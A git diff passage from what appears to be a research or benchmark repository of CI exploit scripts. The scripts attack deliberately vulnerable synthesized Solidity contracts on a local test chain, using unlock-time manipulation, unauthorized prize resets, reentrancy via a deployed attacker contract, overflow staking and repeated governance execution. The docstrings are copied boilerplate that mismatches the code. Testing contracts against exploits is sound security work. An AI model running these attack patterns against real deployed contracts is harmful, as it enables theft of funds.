contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; // Assuming this account is the organizer's - - console.log("Attempting to exploit unlock time reduction..."); - - // Fetch the current nonce for the organizer account - const nonce = await web3.eth.getTransactionCount(organizerAccount, 'latest'); - - // Determine the exact amount to send to maximize the unlock time reduction - let amountToSend = web3.utils.toWei('0.11', 'ether'); // Calculated based on contract's flawed logic - - // Call extendLockTime with the calculated bad value - let tx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: amountToSend, - gas: 300000, - nonce: nonce // Explicitly set the nonce - }); - await sleep(200); - - console.log(`Transaction status: ${tx.status}`); - - // Check the updated unlock time - let newUnlockTime = await contractInstance.methods.unlockTime().call(); - console.log(`New unlock time: ${new Date(newUnlockTime * 1000).toString()}`); - - if (tx.status) { - console.log("Unlock time reduction exploited successfully."); - return true; // Exploit successful - } else { - console.error("Failed to exploit the unlock time reduction."); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } -} - - - - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-18.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-18.js deleted file mode 100644 index f808d8e6..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-18.js +++ /dev/null @@ -1,101 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); - -const { createLoggerWeb3 } = require('@lib/web3/deploy'); -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-18.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let unauthorizedUser = envInfo.accounts[1]; // An unauthorized user, not the organizer or beneficiary - - console.log("Attempting to reset the prize amount as an unauthorized user..."); - - // Unauthorized user tries to reset the prize amount - let resetTx = await contractInstance.methods.resetPrize().send({ - from: unauthorizedUser, - gas: 300000 - }); - await sleep(200); - - // Check the remaining prize amount after trying to reset - let remainingPrize = await contractInstance.methods.prizeAmount().call(); - console.log(`Remaining prize amount after attempt: ${web3.utils.fromWei(remainingPrize, 'ether')} ETH`); - - if (parseInt(remainingPrize) === 0) { - console.log("Unauthorized prize reset successful: Prize amount was reset by an unauthorized user."); - return true; // Exploit successful - } else { - console.error("Unauthorized prize reset failed: Prize amount remains unchanged."); - return false; // Exploit failed - } - } catch (error) { - console.error("An error occurred during the exploit attempt:", error); - return false; - } -} - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-19.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-19.js deleted file mode 100644 index 740b1b69..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-19.js +++ /dev/null @@ -1,107 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); - -const { createLoggerWeb3 } = require('@lib/web3/deploy'); -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-19.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ - -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi: prizeAbi, bytecode: prizeBytecode } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let { abi: attackerAbi, bytecode: attackerBytecode } = await compileWithVersion(source, contractFileFullName, 'PrizeDistributionAttacker', solcVersion); - - let prizeContractInstance = new web3.eth.Contract(prizeAbi, contractAddress); - let attackerContractInstance = new web3.eth.Contract(attackerAbi); - - // Deploy the malicious contract - let attackerAccount = envInfo.accounts[1]; - let deployTx = attackerContractInstance.deploy({ data: attackerBytecode }); - let attackerInstance = await deployTx.send({ from: attackerAccount, gas: 1500000 }); - - console.log("Deployed malicious contract at address:", attackerInstance.options.address); - - // Simulate attack - await prizeContractInstance.methods.simulateAttack(attackerInstance.options.address).send({ from: envInfo.accounts[0], gas: 300000 }); - await sleep(200); - - let remainingPrize = await prizeContractInstance.methods.prizeAmount().call(); - console.log("Remaining prize amount after attack:", web3.utils.fromWei(remainingPrize, 'ether'), "ETH"); - - if (remainingPrize == 0) { - console.log("Attack successful: Prize amount drained."); - return true; - } else { - console.error("Attack failed: Prize amount not fully drained."); - return false; - } - } catch (error) { - console.error("An error occurred during the attack:", error); - return false; - } -} - - - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-5.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-5.js deleted file mode 100644 index 2485fe9d..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-5.js +++ /dev/null @@ -1,131 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-5.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Initiating overflow exploit..."); - - // High-value transaction to push `totalStaked` close to overflow - let highValueTx = await contractInstance.methods.stake().send({ - from: organizerAccount, - value: web3.utils.toWei('10', 'ether'), // High initial stake to approach overflow - gas: 300000 - }); - await sleep(500); - - console.log(`High value stake transaction status: ${highValueTx.status}`); - - // Multiple transactions to trigger overflow - for (let i = 0; i < 10; i++) { // Number of attempts can vary based on current state - await contractInstance.methods.stake().send({ - from: organizerAccount, - value: web3.utils.toWei('100', 'ether'), // Large value to ensure overflow - gas: 300000 - }); - } - - console.log("Overflow likely triggered. Attempting to claim prize..."); - - // Check if the prize amount has been reset - let prizeAmount = await contractInstance.methods.prizeAmount().call(); - console.log(`Current prize amount: ${prizeAmount}`); - - // Attempt to claim the prize if prize amount is reset - if (parseInt(prizeAmount) === 0) { - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - - if (claimTx.status) { - console.log("Prize successfully claimed post-overflow!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize post-overflow!"); - return false; // Exploit failed - } - } else { - console.error("Overflow did not reset prize amount as expected."); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } -} - - - - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-9.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-9.js deleted file mode 100644 index 716b6080..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-9.js +++ /dev/null @@ -1,109 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-9.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; // This should be another account simulating the exploit - let beneficiaryAccount = envInfo.accounts[1]; // Beneficiary account - - console.log("Attempting to toggle the lock state..."); - - // Exploit step: Toggle the lock to false using the organizer account or another malicious account - let toggleTx = await contractInstance.methods.toggleLock(false).send({ - from: organizerAccount, - gas: 300000 - }); - await sleep(200); - - console.log(`Lock toggled: ${toggleTx.status}`); - - if (!toggleTx.status) { - console.error("Failed to toggle the lock!"); - return false; // Exploit failed - } - - // Attempt to claim the prize now that the lock is disabled - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(200); - - if (claimTx.status) { - console.log("Prize successfully claimed with lock disabled!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize even with lock disabled!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } -} - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/EscrowExploit-1.js b/CI/exploits/synthesized/EscrowExploit-1.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/EscrowExploit-1.js rename to CI/exploits/synthesized/EscrowExploit-1.js diff --git a/CI/exploits/synthesized-prompt-1/EscrowExploit-2.js b/CI/exploits/synthesized/EscrowExploit-2.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/EscrowExploit-2.js rename to CI/exploits/synthesized/EscrowExploit-2.js diff --git a/CI/exploits/synthesized-prompt-1/EscrowExploit-3.js b/CI/exploits/synthesized/EscrowExploit-3.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/EscrowExploit-3.js rename to CI/exploits/synthesized/EscrowExploit-3.js diff --git a/CI/exploits/synthesized-prompt-1/EscrowExploit-4.js b/CI/exploits/synthesized/EscrowExploit-4.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/EscrowExploit-4.js rename to CI/exploits/synthesized/EscrowExploit-4.js diff --git a/CI/exploits/synthesized/GovernanceExploit-1.js b/CI/exploits/synthesized/GovernanceExploit-1.js index 1c870c94..44090bea 100644 --- a/CI/exploits/synthesized/GovernanceExploit-1.js +++ b/CI/exploits/synthesized/GovernanceExploit-1.js @@ -15,13 +15,15 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-1' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -39,8 +41,8 @@ async function exploit(web3, envInfo, contractAddress) { try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal @@ -48,25 +50,26 @@ async function exploit(web3, envInfo, contractAddress) { from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + + // 5 seconds for reviewDuration but this time sleep too long to show that lack a proper require statement (commented) in the "vote" function will cause this to still go through even though the design suggests a deadline of 5 seconds since the time the proposal review time is over. + governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds before voting for the first time!`); + await sleep(10000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal + for (let i = 0; i <= 3; i++) { // Vote 4 times, assuming different accounts or remove check for simplicity in smart contract + console.log("Voting on the proposal..."); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.accounts[i], gas: 3000000 }); + await sleep(500); } // Wait for grace period to finish - console.log("Waiting for grace period to end..."); + console.log("Waiting for grace period to end... We need to wait 5 + 5 + 5 seconds since the creation of the proposal so we wait enough here to account for the remaining time of that 20 second total delay"); await sleep(10000); // Step 3: Execute the proposal @@ -86,7 +89,6 @@ async function exploit(web3, envInfo, contractAddress) { - /** * Executes the exploit and checks its result * @@ -101,6 +103,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-10.js b/CI/exploits/synthesized/GovernanceExploit-10.js index 1c870c94..e7c6bd8c 100644 --- a/CI/exploits/synthesized/GovernanceExploit-10.js +++ b/CI/exploits/synthesized/GovernanceExploit-10.js @@ -14,14 +14,13 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-10' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +35,50 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal to reach the threshold + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.accounts[i], gas: 3000000 }); + await sleep(500); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - governanceExploitLogger.info(`I am successful!`) + await sleep(5000); + + // Step 3: Execute the proposal multiple times with privileged address + for (let i = 0; i < 3; i++) { + console.log(`Executing proposal ${proposalId} for the ${i+1} time with privileged address...`); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.privilegedAccount, // Use the privileged account address + gas: 3000000 + }); + governanceExploitLogger.info(`Proposal ${proposalId} executed ${i+1} times!`); + await sleep(500); + } + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,6 +104,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-11.js b/CI/exploits/synthesized/GovernanceExploit-11.js index 1c870c94..d0c623cf 100644 --- a/CI/exploits/synthesized/GovernanceExploit-11.js +++ b/CI/exploits/synthesized/GovernanceExploit-11.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-11' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,62 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal to reach the threshold + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.accounts[i], gas: 3000000 }); + await sleep(1000); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - + await sleep(5000); + // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed!`); + + // Step 4: Create a new proposal to reset the isExecuted flag + console.log("Creating another proposal to reset the isExecuted flag of the first proposal..."); + let createResult2 = await contractInstance.methods.createProposal().send({ + from: envInfo.privilegedAccount, // Use the privileged account address + gas: 3000000 + }); + + // Step 5: Re-execute the first proposal + console.log(`Re-executing proposal ${proposalId}...`); + const reExecuteResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`Proposal ${proposalId} re-executed!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,6 +117,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-12.js b/CI/exploits/synthesized/GovernanceExploit-12.js index 1c870c94..e6f5e6de 100644 --- a/CI/exploits/synthesized/GovernanceExploit-12.js +++ b/CI/exploits/synthesized/GovernanceExploit-12.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-12' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,47 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period to end + governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); + await sleep(5000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal multiple times with the privileged address + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.privilegedAccount, // Use the privileged account address gas: 3000000 }); + await sleep(1000); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - + await sleep(5000); + // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +103,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-13.js b/CI/exploits/synthesized/GovernanceExploit-13.js 